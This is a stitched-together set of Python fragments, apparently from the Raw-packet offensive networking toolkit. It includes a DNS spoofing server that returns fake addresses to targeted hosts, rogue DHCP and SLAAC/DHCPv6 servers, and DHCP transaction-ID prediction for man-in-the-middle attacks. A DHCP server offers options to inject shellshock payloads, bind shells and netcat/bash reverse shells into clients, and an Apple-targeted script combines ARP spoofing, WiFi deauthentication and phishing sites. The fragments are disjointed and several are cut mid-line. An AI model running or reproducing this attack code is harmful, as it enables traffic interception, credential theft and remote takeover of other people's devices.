0x8183 answer = [] break else: answer.append({ "name": query_name, "type": query_type, "class": query_class, "ttl": 0xffff, "address": address }) # endregion # region Make dns answer packet if 'IP' in request.keys(): dns_answer_packet = self.dns.make_response_packet( src_mac=request['Ethernet']['destination'], dst_mac=request['Ethernet']['source'], src_ip=request['IP']['destination-ip'], dst_ip=request['IP']['source-ip'], src_port=53, dst_port=request['UDP']['source-port'], tid=request['DNS']['transaction-id'], flags=dns_answer_flags, queries=query, answers_address=answer) elif 'IPv6' in request.keys(): dns_answer_packet = self.dns.make_response_packet( src_mac=request['Ethernet']['destination'], dst_mac=request['Ethernet']['source'], src_ip=request['IPv6']['destination-ip'], dst_ip=request['IPv6']['source-ip'], src_port=53, dst_port=request['UDP']['source-port'], tid=request['DNS']['transaction-id'], flags=dns_answer_flags, queries=query, answers_address=answer) else: dns_answer_packet = None # endregion # region Send DNS answer packet if dns_answer_packet is not None: self.rawSocket.send(dns_answer_packet) # endregion # region Print info message if 'IP' in request.keys(): if query_type == 1: self.base.print_info( "DNS query from: ", request['IP']['source-ip'], " to ", request['IP']['destination-ip'], " type: ", "A", " domain: ", query_name, " answer: ", (", ".join(addresses))) if query_type == 28: self.base.print_info( "DNS query from: ", request['IP']['source-ip'], " to ", request['IP']['destination-ip'], " type: ", "AAAA", " domain: ", query_name, " answer: ", (", ".join(addresses))) if 'IPv6' in request.keys(): if query_type == 1: self.base.print_info( "DNS query from: ", request['IPv6']['source-ip'], " to ", request['IPv6']['destination-ip'], " type: ", "A", " domain: ", query_name, " answer: ", (", ".join(addresses))) if query_type == 28: self.base.print_info( "DNS query from: ", request['IPv6']['source-ip'], " to ", request['IPv6']['destination-ip'], " type: ", "AAAA", " domain: ", query_name, " answer: ", (", ".join(addresses))) # endregion # endregion except: pass # endregion # endregion # endregion # region Start server def listen(self, listen_network_interface, listen_port=53, target_mac_address=None, target_ip_address=None, target_ipv6_address=None, fake_answers=False, fake_ip_addresses=[], fake_ipv6_addresses=[], fake_domains=[], no_such_names=[], listen_ipv6=False, disable_ipv4=False): # region Set fake answers self.fake_answers = fake_answers # endregion # region Set DNS_QUERY_TYPES if listen_ipv6: if disable_ipv4: self.DNS_QUERY_TYPES = [28] else: self.DNS_QUERY_TYPES = [1, 28] else: self.DNS_QUERY_TYPES = [1] # endregion # region Set listen network interface self.network_interface = listen_network_interface # endregion # region Set listen UDP port if listen_port != 53: if 0 < listen_port < 65535: self.port = listen_port else: self.base.print_error("Bad value in `listen_port`: ", str(listen_port), "; listen UDP port must be in range: ", "1 - 65534") exit(1) # endregion # region Get your MAC, IP and IPv6 addresses self.your_mac_address = self.base.get_netiface_mac_address( self.network_interface) if self.your_mac_address is None: self.base.print_error("Network interface: ", self.network_interface, " do not have MAC address!") exit(1) self.your_ip_address = self.base.get_netiface_ip_address( self.network_interface) if self.your_ip_address is None: self.base.print_error("Network interface: ", self.network_interface, " do not have IP address!") exit(1) if listen_ipv6: self.your_ipv6_addresses = self.base.get_netiface_ipv6_link_address( self.network_interface) if len(self.your_ipv6_addresses) == 0: self.base.print_error("Network interface: ", self.network_interface, " do not have IPv6 link local address!") exit(1) else: self.fake_addresses[self.AAAA_DNS_QUERY] = [ self.your_ipv6_addresses ] else: self.fake_addresses[self.AAAA_DNS_QUERY] = None # endregion # region Bind raw socket self.rawSocket.bind((self.network_interface, 0)) # endregion # region Set fake addresses if len(fake_ip_addresses) > 0: self.fake_addresses[self.A_DNS_QUERY] = fake_ip_addresses else: if not disable_ipv4: self.fake_addresses[self.A_DNS_QUERY] = [self.your_ip_address] if len(fake_ipv6_addresses) > 0: self.fake_addresses[self.AAAA_DNS_QUERY] = fake_ipv6_addresses if disable_ipv4: self.DNS_QUERY_TYPES = [self.AAAA_DNS_QUERY] else: self.DNS_QUERY_TYPES = [self.A_DNS_QUERY, self.AAAA_DNS_QUERY] else: if self.fake_answers: if listen_ipv6: self.fake_addresses[self.AAAA_DNS_QUERY] = [ self.your_ipv6_addresses ] # endregion # region Set fake domains and "no such names" lists self.fake_domains = fake_domains self.no_such_names = no_such_names # endregion # region Check target IPv4 address if target_ip_address is not None: if not self.base.ip_address_validation(target_ip_address): self.base.print_error("Bad target IPv4 address: ", target_ip_address) exit(1) else: self.target_ip_address = target_ip_address # endregion # region Check target IPv6 address if target_ipv6_address is not None: if not self.base.ipv6_address_validation(target_ipv6_address): self.base.print_error("Bad target IPv6 address: ", target_ipv6_address) exit(1) else: self.target_ipv6_address = target_ipv6_address # endregion # region Sniffing DNS requests # region Set network filter network_filters = {} if target_mac_address is not None: network_filters['Ethernet'] = {'source': target_mac_address} else: network_filters['Ethernet'] = {'not-source': self.your_mac_address} if self.target_ip_address is not None: network_filters['IP'] = {'source-ip': self.target_ip_address} if self.target_ipv6_address is not None: network_filters['IPv6'] = {'source-ip': self.target_ipv6_address} network_filters['IP'] = {'not-source-ip': '127.0.0.1'} network_filters['UDP'] = {'destination-port': self.port} # endregion # region Clear fake_answers list if not self.fake_answers: if len(fake_ipv6_addresses) == 0: del self.fake_addresses[self.AAAA_DNS_QUERY] if len(fake_ip_addresses) == 0: del self.fake_addresses[self.A_DNS_QUERY] # endregion # region Start sniffer if listen_ipv6: if disable_ipv4: self.sniff.start(protocols=['IPv6', 'UDP', 'DNS'], prn=self._reply, filters=network_filters) else: self.sniff.start(protocols=['IP', 'IPv6', 'UDP', 'DNS'], prn=self._reply, filters=network_filters) else: self.sniff.start(protocols=['IP', 'UDP', 'DNS'], prn=self._reply, filters=network_filters)
class DnsServer: # region Set properties _base: Base = Base() _utils: Utils = Utils() _sniff: RawSniff = RawSniff() _dns: RawDNS = RawDNS() _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv6-link-address': None, 'ipv4-address': None } _target: Dict[str, Union[None, str]] = { 'mac-address': None, 'ipv4-address': None, 'ipv6-address': None } _config: Dict[str, Dict[str, Union[bool, str, List[str]]]] = dict() _A_DNS_QUERY: int = 1 _AAAA_DNS_QUERY: int = 28 _NS_DNS_QUERY: int = 2 _MX_DNS_QUERY: int = 15 _log_file_name: Union[None, str] = None _log_file_format: Union[None, str] = None _quit: bool = False # endregion # region Init def __init__(self, network_interface: str): self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=['mac-address', 'ipv4-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) if self._base.get_platform().startswith('Linux'): run('iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP', shell=True) run('ip6tables -I OUTPUT -p ipv6-icmp --icmpv6-type destination-unreachable -j DROP', shell=True) # endregion # region Start DNS Server def start(self, listen_port: int = 53, target_mac_address: Union[None, str] = None, target_ipv4_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, fake_answers: bool = False, fake_ipv4_addresses: List[str] = [], fake_ipv6_addresses: List[str] = [], fake_domains_regexp: List[str] = [], no_such_domains: List[str] = [], listen_ipv6: bool = True, disable_ipv4: bool = False, success_domains: List[str] = [], config_file: Union[None, str] = None, log_file_name: str = 'dns_server_log', log_file_format: str = 'csv', quiet: bool = False) -> None: try: # region Variables self._log_file_name = log_file_name self._log_file_format = log_file_format self._quit = quiet # endregion # region Set listen UDP port if listen_port != 53: self._utils.check_value_in_range( value=listen_port, first_value=0, last_value=65536, parameter_name='listen UDP port') # endregion # region Check your IPv6 address if self._your['ipv6-link-address'] is None: self._your[ 'ipv6-link-address'] = self._base.make_ipv6_link_address( self._your['mac-address']) # endregion # region Check config file if config_file is not None: assert isfile( config_file ), 'Not found config file: ' + self._base.error_text( str(config_file)) with open(config_file, 'r') as config_file_descriptor: self._config = load(config_file_descriptor) # endregion # region Set fake ipv4 addresses if len(fake_ipv4_addresses) == 0: fake_ipv4_addresses = [self._your['ipv4-address']] else: for _fake_ipv4_address in fake_ipv4_addresses: self._utils.check_ipv4_address( network_interface=self._your['network-interface'], ipv4_address=_fake_ipv4_address, is_local_ipv4_address=False, parameter_name='fake IPv4 address') # endregion # region Set fake ipv6 addresses if len(fake_ipv6_addresses) == 0: fake_ipv6_addresses = [self._your['ipv6-link-address']] else: for _fake_ipv6_address in fake_ipv6_addresses: self._utils.check_ipv6_address( network_interface=self._your['network-interface'], ipv6_address=_fake_ipv6_address, is_local_ipv6_address=False, parameter_name='fake IPv6 address', check_your_ipv6_address=False) # endregion # region Set success domains for success_domain in success_domains: try: self._config[success_domain].update({'success': True}) except KeyError: self._config[success_domain] = {'success': True} # endregion # region Set no such domains for no_such_domain in no_such_domains: try: self._config[no_such_domain].update( {'no such domain': True}) except KeyError: self._config[no_such_domain] = {'no such domain': True} # endregion # region Set fake domains regexp for _fake_domain_regexp in fake_domains_regexp: try: self._config[_fake_domain_regexp].update({ 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses }) except KeyError: self._config[_fake_domain_regexp] = { 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses } # endregion # region Set fake answers if fake_answers: try: self._config['.*'].update({ 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses }) except KeyError: self._config['.*'] = { 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses } # endregion # region Check target MAC address if target_mac_address is not None: self._target['mac-address'] = self._utils.check_mac_address( mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Check target IPv4 address if target_ipv4_address is not None: self._target['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=target_ipv4_address, is_local_ipv4_address=False, parameter_name='target IPv4 address') # endregion # region Check target IPv6 address if target_ipv6_address is not None: self._target['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=target_ipv6_address, is_local_ipv6_address=False, parameter_name='target IPv6 address') # endregion # region Script arguments condition check and print info message if not self._quit: # region Argument fake_answer is set if fake_answers: if not disable_ipv4: self._base.print_info( 'DNS answer fake IPv4 addresses: [', (', '.join(fake_ipv4_addresses)), '] for all DNS queries') if len(fake_ipv6_addresses) > 0: self._base.print_info( 'DNS answer fake IPv6 addresses: [', (', '.join(fake_ipv6_addresses)), '] for all DNS queries') # endregion # region Argument fake_answer is NOT set else: # region Fake domains list is set if len(fake_domains_regexp) > 0: if len(fake_ipv4_addresses) > 0: self._base.print_info( 'DNS answer fake IPv4 addresses: [', (', '.join(fake_ipv4_addresses)), '] for domains: [', (', '.join(fake_domains_regexp)), ']') if len(fake_ipv6_addresses) > 0: self._base.print_info( 'DNS answer fake IPv6 addresses: [', (', '.join(fake_ipv6_addresses)), '] for domains: [', (', '.join(fake_domains_regexp)), ']') # endregion # region Fake domains list is NOT set else: if fake_ipv4_addresses != [self._your['ipv4-address']]: self._base.print_info( 'DNS answer fake IPv4 addresses: [', (', '.join(fake_ipv4_addresses)), '] for all DNS queries') if fake_ipv6_addresses != [ self._your['ipv6-link-address'] ]: self._base.print_info( 'DNS answer fake IPv6 addresses: [', (', '.join(fake_ipv6_addresses)), '] for all DNS queries') # endregion # endregion # region Print info message self._base.print_info('Waiting for a DNS requests ...') # endregion # endregion # region Sniffing DNS requests # region Set network filter sniff_filters: Dict = {'UDP': {'destination-port': listen_port}} if self._your['network-interface'] != 'lo': if self._target['mac-address'] is not None: sniff_filters['Ethernet'] = { 'source': self._target['mac-address'] } else: sniff_filters['Ethernet'] = { 'not-source': self._your['mac-address'] } if self._target['ipv4-address'] is not None: sniff_filters['IPv4'] = { 'source-ip': self._target['ipv4-address'] } if self._target['ipv6-address'] is not None: sniff_filters['IPv6'] = { 'source-ip': self._target['ipv6-address'] } sniff_filters['IPv4'] = {'not-source-ip': '127.0.0.1'} sniff_filters['IPv6'] = {'not-source-ip': '::1'} else: sniff_filters['Ethernet'] = { 'source': '00:00:00:00:00:00', 'destination': '00:00:00:00:00:00' } sniff_filters['IPv4'] = { 'source-ip': '127.0.0.1', 'destination-ip': '127.0.0.1' } sniff_filters['IPv6'] = { 'source-ip': '::1', 'destination-ip': '::1' } # endregion # region Start sniffer if listen_ipv6: if disable_ipv4: self._sniff.start( protocols=['IPv6', 'UDP', 'DNS'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='ip6 and udp port ' + str(listen_port)) else: self._sniff.start( protocols=['IPv4', 'IPv6', 'UDP', 'DNS'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='udp port ' + str(listen_port)) else: self._sniff.start( protocols=['IPv4', 'UDP', 'DNS'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='udp port ' + str(listen_port)) # endregion # endregion except AssertionError as Error: self._base.print_error(Error.args[0]) exit(1) except JSONDecodeError: self._base.print_error('Could not parse config file: ', config_file, ' invalid json syntax') exit(1) except KeyboardInterrupt: self._base.print_info('Exit ....') exit(0) # endregion # region Write log file def _write_to_log(self, from_ip_address: str, to_ip_address: str, query_type: str, query_name: str, answer_address: str): if not isfile(self._log_file_name + '.' + self._log_file_format): with open(file=self._log_file_name + '.' + self._log_file_format, mode='w') as log_file: if self._log_file_format == 'csv': log_file.write( 'From IP address,To IP address,Query type,Query name,Answer address\n' ) if self._log_file_format == 'xml': log_file.write( '<?xml version="1.0" ?>\n<dns_queries>\n</dns_queries>\n' ) if self._log_file_format == 'json': log_file.write('{\n"dns_queries": [\n') with open(file=self._log_file_name + '.' + self._log_file_format, mode='r+') as log_file: log_file_pointer: int = getsize(self._log_file_name + '.' + self._log_file_format) if self._log_file_format == 'csv' or self._log_file_format == 'txt': log_file.seek(log_file_pointer) log_file.write(from_ip_address + ',' + to_ip_address + ',' + query_type + ',' + query_name + ',' + answer_address + '\n') if self._log_file_format == 'json': if log_file_pointer > 20: log_file.seek(log_file_pointer - 4, 0) log_file.write(',') else: log_file.seek(log_file_pointer) dump( { 'from_ip_address': from_ip_address, 'to_ip_address': to_ip_address, 'query_type': query_type, 'query_name': query_name, 'answer_address': answer_address }, log_file, indent=4) log_file.write(']\n}\n') if self._log_file_format == 'xml': log_file.seek(log_file_pointer - 15, 0) log_file.write('\t<dns_query>\n' + '\t\t<from_ip_address>' + from_ip_address + '</from_ip_address>\n' + '\t\t<to_ip_address>' + to_ip_address + '</to_ip_address>\n' + '\t\t<query_type>' + query_type + '</query_type>\n' + '\t\t<query_name>' + query_name + '</query_name>\n' + '\t\t<answer_address>' + answer_address + '</answer_address>\n' + '\t</dns_query>\n' + '</dns_queries>\n') # endregion # region DNS integer query type to string @staticmethod def _int_type_to_str_type(query_type: int = 1) -> str: if query_type == DnsServer._A_DNS_QUERY: return 'A' elif query_type == DnsServer._AAAA_DNS_QUERY: return 'AAAA' elif query_type == DnsServer._NS_DNS_QUERY: return 'NS' elif query_type == DnsServer._MX_DNS_QUERY: return 'MX' else: return 'A' # endregion # region DNS string query type to integer @staticmethod def _str_type_to_int_type(query_type: str = 'A') -> int: if query_type == 'A': return DnsServer._A_DNS_QUERY elif query_type == 'AAAA': return DnsServer._AAAA_DNS_QUERY elif query_type == 'NS': return DnsServer._NS_DNS_QUERY elif query_type == 'MX': return DnsServer._MX_DNS_QUERY else: return 1 # endregion # region Get first IPv4 or IPv6 address of domain @staticmethod def _get_domain_address(query_name: str, query_type: int = 1) -> Union[List[str], None]: # region Check DNS query type and set proto if query_type == DnsServer._AAAA_DNS_QUERY: proto: int = AF_INET6 elif query_type == DnsServer._A_DNS_QUERY: proto: int = AF_INET else: return None # endregion # region Resolve query name try: # Get list of addresses addresses = getaddrinfo(query_name, None, proto) # Return first address from list return [addresses[0][4][0]] except gaierror: # Could not resolve name return None # endregion # endregion # region DNS reply function def _reply(self, request: Dict) -> None: try: # region This request is DNS query assert 'DNS' in request.keys(), 'This is not DNS request!' for query in request['DNS']['queries']: # region Local variables assert ('IPv4' in request.keys() or 'IPv6' in request.keys()), 'Not found Network layer protocol!' ip_src: Union[None, str] = None ip_dst: Union[None, str] = None if 'IPv4' in request.keys(): ip_src: Union[None, str] = request['IPv4']['destination-ip'] ip_dst: Union[None, str] = request['IPv4']['source-ip'] if 'IPv6' in request.keys(): ip_src: Union[None, str] = request['IPv6']['destination-ip'] ip_dst: Union[None, str] = request['IPv6']['source-ip'] answers: List[Dict[str, Union[int, str]]] = list() addresses: Union[None, str, List[str]] = None success: bool = False # endregion # region Check query name if query['name'].endswith('.'): query['name']: str = query['name'][:-1] # endregion # region Check config for fake_domain_regexp in self._config.keys(): if match(fake_domain_regexp, query['name']): # region No such domain if 'no such domain' in self._config[ fake_domain_regexp].keys(): if self._config[fake_domain_regexp][ 'no such domain']: addresses = ['no such domain'] break # endregion # region Success domain if 'success' in self._config[fake_domain_regexp].keys( ): if self._config[fake_domain_regexp]['success']: success = True # endregion # region Fake addresses is set query_type_string: str = self._int_type_to_str_type( query['type']) if query_type_string in self._config[ fake_domain_regexp].keys(): if type(self._config[fake_domain_regexp] [query_type_string]) is str: if self._config[fake_domain_regexp][ query_type_string] == 'my ipv4 address': addresses = [self._your['ipv4-address']] elif self._config[fake_domain_regexp][ query_type_string] == 'my ipv6 address': addresses = [ self._your['ipv6-link-address'] ] else: addresses = [ self._config[fake_domain_regexp] [query_type_string] ] if type(self._config[fake_domain_regexp] [query_type_string]) is list: addresses = self._config[fake_domain_regexp][ query_type_string] break # endregion # region Fake address is NOT set else: addresses = self._get_domain_address( query['name'], query['type']) # endregion # endregion # region DNS query name NOT in fake domains regexp list if addresses is None: addresses = self._get_domain_address( query['name'], query['type']) # endregion # endregion # region Answer addresses is set assert addresses is not None, 'Addresses in DNS answer is None!' # region Create answer list dns_answer_flags = 0x8080 for address in addresses: if address == 'no such domain': dns_answer_flags = 0x8183 answers = list() break else: answers.append({ 'name': query['name'], 'type': query['type'], 'class': query['class'], 'ttl': 65535, 'address': address }) # endregion # region Make dns answer packet dns_answer_packet: Union[ None, bytes] = self._dns.make_response_packet( ethernet_src_mac=request['Ethernet']['destination'], ethernet_dst_mac=request['Ethernet']['source'], ip_src=ip_src, ip_dst=ip_dst, udp_src_port=request['UDP']['destination-port'], udp_dst_port=request['UDP']['source-port'], transaction_id=request['DNS']['transaction-id'], flags=dns_answer_flags, queries=[query], answers_address=answers) # endregion # region Send DNS answer packet if dns_answer_packet is not None: self._raw_send.send_packet(dns_answer_packet) # endregion # region Print info message if success and query['name'] != '': self._base.print_success( 'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ', self._int_type_to_str_type(query['type']), ' domain: ', query['name'], ' answer: ', (', '.join(addresses))) if not success and query['name'] != '': self._base.print_info( 'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ', self._int_type_to_str_type(query['type']), ' domain: ', query['name'], ' answer: ', (', '.join(addresses))) self._write_to_log(from_ip_address=ip_dst, to_ip_address=ip_src, query_type=self._int_type_to_str_type( query['type']), query_name=query['name'], answer_address=(' '.join(addresses))) # endregion # endregion # endregion except AssertionError: pass
# endregion # region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = [''] __license__ = 'MIT' __version__ = '0.0.4' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**' __status__ = 'Production' # endregion # region Check user, platform and create threads Base = Base() Base.check_user() Base.check_platform() tm = ThreadManager(3) # endregion # region Parse script arguments parser = ArgumentParser(description='Rogue DHCP server for Apple devices') parser.add_argument('-i', '--interface', help='Set interface name for send DHCP reply packets') parser.add_argument('-t', '--target_mac', help='Set target MAC address, required!', required=True) parser.add_argument('-I', '--target_ip', help='Set client IP address, required!', required=True) parser.add_argument('-q', '--quiet', action='store_true', help='Minimal output') args = parser.parse_args() # endregion
# endregion # region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = [''] __license__ = 'MIT' __version__ = '0.1.1' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**' __status__ = 'Development' # endregion # region Check user, platform and create threads Base = Base() Base.check_user() Base.check_platform() tm = ThreadManager(5) # endregion # region Parse script arguments parser = ArgumentParser(description='Rogue SLAAC/DHCPv6 server') parser.add_argument('-i', '--interface', help='Set interface name for send reply packets') parser.add_argument('-p', '--prefix', type=str, help='Set network prefix',
def reply(request): # region Define global variables global target_ip_address global target_mac_address global transaction_id_global global requested_ip global tm global SOCK global print_possible_mitm global print_success_mitm # endregion # region DHCP REQUESTS if 'DHCP' in request.keys(): # region Get DHCP transaction id transaction_id = request['BOOTP']['transaction-id'] # endregion # region DHCP DECLINE if request['DHCP'][53] == 4: Base.print_info("DHCP DECLINE from: ", target_mac_address, " transaction id: ", hex(transaction_id)) if transaction_id_global != 0: tm.add_task(dhcp_response_sender) # endregion # region DHCP REQUEST if request['DHCP'][53] == 3: # region Get next DHCP transaction id if transaction_id != 0: transaction_id_global = transaction_id + 1 Base.print_info("Current transaction id: ", hex(transaction_id)) Base.print_success("Next transaction id: ", hex(transaction_id_global)) # endregion # region Get DHCP requested ip address if 50 in request['DHCP'].keys(): requested_ip = str(request['DHCP'][50]) # endregion # region Print info message Base.print_info("DHCP REQUEST from: ", target_mac_address, " transaction id: ", hex(transaction_id), " requested ip: ", requested_ip) # endregion # region If requested IP is target IP - print Possible mitm success if requested_ip == target_ip_address: if not print_possible_mitm: Base.print_warning("Possible MiTM success: ", target_ip_address + " (" + target_mac_address + ")") print_possible_mitm = True # endregion # endregion # endregion # region ARP REQUESTS if 'ARP' in request.keys(): if requested_ip is not None: if request['Ethernet']['destination'] == "ff:ff:ff:ff:ff:ff" and \ request['ARP']['target-mac'] == "00:00:00:00:00:00": # region Set local variables arp_sender_mac_address = request['ARP']['sender-mac'] arp_sender_ip_address = request['ARP']['sender-ip'] arp_target_ip_address = request['ARP']['target-ip'] # endregion # region Print info message Base.print_info("ARP request from: ", arp_sender_mac_address, " \"", "Who has " + arp_target_ip_address + "? Tell " + arp_sender_ip_address, "\"") # endregion # region ARP target IP is DHCP requested IP if arp_target_ip_address == requested_ip: # region If ARP target IP is target IP - print Possible mitm success if arp_target_ip_address == target_ip_address: if not print_possible_mitm: Base.print_warning("Possible MiTM success: ", target_ip_address + " (" + target_mac_address + ")") print_possible_mitm = True # endregion # region If ARP target IP is not target IP - send 'IPv4 address conflict' ARP response else: arp_reply = arp.make_response(ethernet_src_mac=your_mac_address, ethernet_dst_mac=target_mac_address, sender_mac=your_mac_address, sender_ip=requested_ip, target_mac=arp_sender_mac_address, target_ip=arp_sender_ip_address) SOCK.send(arp_reply) Base.print_info("ARP response to: ", arp_sender_mac_address, " \"", arp_target_ip_address + " is at " + your_mac_address, "\" (IPv4 address conflict)") # endregion # endregion # region ARP target IP is your IP - MITM SUCCESS if arp_target_ip_address == your_ip_address: if not print_success_mitm: Base.print_success("MITM success: ", target_ip_address + " (" + target_mac_address + ")") print_success_mitm = True sleep(5) exit(0)
def main(): # region Init Raw-packet classes base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) # endregion # region Parse script arguments parser: ArgumentParser = ArgumentParser( description=base.get_banner(__script_name__), formatter_class=RawDescriptionHelpFormatter) parser.add_argument('-i', '--interface', help='Set interface name for send reply packets') parser.add_argument('-f', '--first_offer_ip', type=str, help='Set first client ip for offering', default=None) parser.add_argument('-l', '--last_offer_ip', type=str, help='Set last client ip for offering', default=None) parser.add_argument('-m', '--target_mac', type=str, help='Set target MAC address', default=None) parser.add_argument('-t', '--target_ip', type=str, help='Set client IP address with MAC in --target_mac', default=None) parser.add_argument('--netmask', type=str, help='Set network mask', default=None) parser.add_argument( '--dhcp_mac', type=str, help='Set DHCP server MAC address, if not set use your MAC address', default=None) parser.add_argument( '--dhcp_ip', type=str, help='Set DHCP server IP address, if not set use your IP address', default=None) parser.add_argument( '--router', type=str, help='Set router IP address, if not set use your ip address', default=None) parser.add_argument( '--dns', type=str, help='Set DNS server IP address, if not set use your ip address', default=None) parser.add_argument('--tftp', type=str, help='Set TFTP server IP address', default=None) parser.add_argument('--wins', type=str, help='Set WINS server IP address', default=None) parser.add_argument('--domain', type=str, help='Set domain name for search, default=local', default='local') parser.add_argument('--lease_time', type=int, help='Set lease time, default=172800', default=172800) parser.add_argument( '--discover', action='store_true', help='Send DHCP discover packets in the background thread') parser.add_argument( '-O', '--shellshock_option_code', type=int, help='Set dhcp option code for inject shellshock payload, default=114', default=114) parser.add_argument('-c', '--shellshock_command', type=str, help='Set shellshock command in DHCP client') parser.add_argument('-b', '--bind_shell', action='store_true', help='Use awk bind tcp shell in DHCP client') parser.add_argument('-p', '--bind_port', type=int, help='Set port for listen bind shell (default=1234)', default=1234) parser.add_argument('-N', '--nc_reverse_shell', action='store_true', help='Use nc reverse tcp shell in DHCP client') parser.add_argument('-E', '--nce_reverse_shell', action='store_true', help='Use nc -e reverse tcp shell in DHCP client') parser.add_argument('-R', '--bash_reverse_shell', action='store_true', help='Use bash reverse tcp shell in DHCP client') parser.add_argument('-e', '--reverse_port', type=int, help='Set port for listen bind shell (default=443)', default=443) parser.add_argument('-n', '--without_network', action='store_true', help='Do not add network configure in payload') parser.add_argument('-B', '--without_base64', action='store_true', help='Do not use base64 encode in payload') parser.add_argument( '--ip_path', type=str, help='Set path to "ip" in shellshock payload, default = /bin/', default='/bin/') parser.add_argument( '--iface_name', type=str, help='Set iface name in shellshock payload, default = eth0', default='eth0') parser.add_argument('--broadcast_response', action='store_true', help='Send broadcast response') parser.add_argument('--dnsop', action='store_true', help='Do not send DHCP OFFER packets') parser.add_argument('--exit', action='store_true', help='Exit on success MiTM attack') parser.add_argument('--apple', action='store_true', help='Add delay before send DHCP ACK') parser.add_argument('-q', '--quiet', action='store_true', help='Minimal output') args = parser.parse_args() # endregion # region Print banner if argument quit is not set if not args.quiet: base.print_banner(__script_name__) # endregion # region Get your network settings current_network_interface: str = \ base.network_interface_selection(interface_name=args.interface, message='Please select a network interface for ' + __script_name__ + ' from table: ') # endregion try: dhcpv4_server: DHCPv4Server = DHCPv4Server( network_interface=current_network_interface) dhcpv4_server.start( target_mac_address=args.target_mac, target_ipv4_address=args.target_ip, first_offer_ipv4_address=args.first_offer_ip, last_offer_ipv4_address=args.last_offer_ip, dhcp_server_mac_address=args.dhcp_mac, dhcp_server_ipv4_address=args.dhcp_mac, dns_server_ipv4_address=args.dns, tftp_server_ipv4_address=args.tftp, wins_server_ipv4_address=args.wins, router_ipv4_address=args.router, domain_search=args.domain, ipv4_network_mask=args.netmask, lease_time=args.lease_time, shellshock_option_code=args.shellshock_option_code, send_dhcp_discover_packets=args.discover, send_dhcp_offer_packets=not args.dnsop, send_broadcast_dhcp_response=args.broadcast_response, exit_on_success=args.exit, apple=args.apple, quiet=args.quiet) except KeyboardInterrupt: base.print_info('Exit') exit(0) except AssertionError as Error: base.print_error(Error.args[0]) exit(1)
# region Raw-packet modules from raw_packet.Utils.base import Base from raw_packet.Utils.network import ARP_raw from raw_packet.Scanners.arp_scanner import ArpScan # endregion # region Import libraries from argparse import ArgumentParser from socket import socket, AF_PACKET, SOCK_RAW from ipaddress import IPv4Address from time import sleep from prettytable import PrettyTable # endregion # region Check user, platform and create threads Base = Base() Base.check_user() Base.check_platform() arp = ARP_raw() # endregion # endregion # region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = [''] __license__ = 'MIT' __version__ = '0.0.4' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**'
def main(): # region Init Raw-packet Base class base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) # endregion # region Parse script arguments parser: ArgumentParser = ArgumentParser(description=base.get_banner(__script_name__), formatter_class=RawTextHelpFormatter) if base.get_platform().startswith('Linux'): parser.add_argument('-T', '--technique', type=int, default=None, help='Set MiTM technique:' '\n1. ARP Spoofing' '\n2. Second DHCP ACK' '\n3. Predict next DHCP transaction ID' '\n4. Rogue SLAAC/DHCPv6 server' '\n5. NA Spoofing (IPv6)' '\n6. RA Spoofing (IPv6)') parser.add_argument('-D', '--disconnect', type=int, default=None, help='Set device Disconnect technique:' '\n1. IPv4 network conflict detection' '\n2. Send WiFi deauthentication packets' '\n3. Do not disconnect device after MiTM') else: parser.add_argument('-T', '--technique', type=int, default=None, help='Set MiTM technique:' '\n1. ARP Spoofing' '\n2. Predict next DHCP transaction ID' '\n3. Rogue SLAAC/DHCPv6 server' '\n4. NA Spoofing (IPv6)' '\n5. RA Spoofing (IPv6)') parser.add_argument('-D', '--disconnect', type=int, default=None, help='Set device Disconnect technique:' '\n1. IPv4 network conflict detection' '\n2. Do not disconnect device after MiTM') parser.add_argument('-P', '--phishing_site', type=str, default='apple', help='Set Phishing site "apple", "google" or Path to your site') parser.add_argument('-i', '--mitm_iface', type=str, help='Set interface name for MiTM') parser.add_argument('-d', '--deauth_iface', type=str, help='Set interface name for send wifi deauth packets') parser.add_argument('-0', '--deauth_packets', type=int, help='Set number of deauth packets (default: 25)', default=25) parser.add_argument('-g4', '--gateway_ipv4', type=str, help='Set gateway IPv4 address', default=None) parser.add_argument('-g6', '--gateway_ipv6', type=str, help='Set gateway IPv6 address', default=None) parser.add_argument('-d4', '--dns_ipv4', type=str, help='Set DNS server IPv4 address', default=None) parser.add_argument('-d6', '--dns_ipv6', type=str, help='Set DNS server IPv6 address', default=None) parser.add_argument('-m', '--target_mac', type=str, help='Set target MAC address', default=None) parser.add_argument('-t4', '--target_ipv4', type=str, help='Set target IPv4 address', default=None) parser.add_argument('-n4', '--target_new_ipv4', type=str, help='Set new IPv4 address for target', default=None) parser.add_argument('-t6', '--target_ipv6', type=str, help='Set link local target IPv6 address', default=None) parser.add_argument('-n6', '--target_new_ipv6', type=str, help='Set new global IPv6 address for target', default=None) parser.add_argument('--ipv6_prefix', type=str, help='Set IPv6 network prefix, default - fde4:8dba:82e1:ffff::/64', 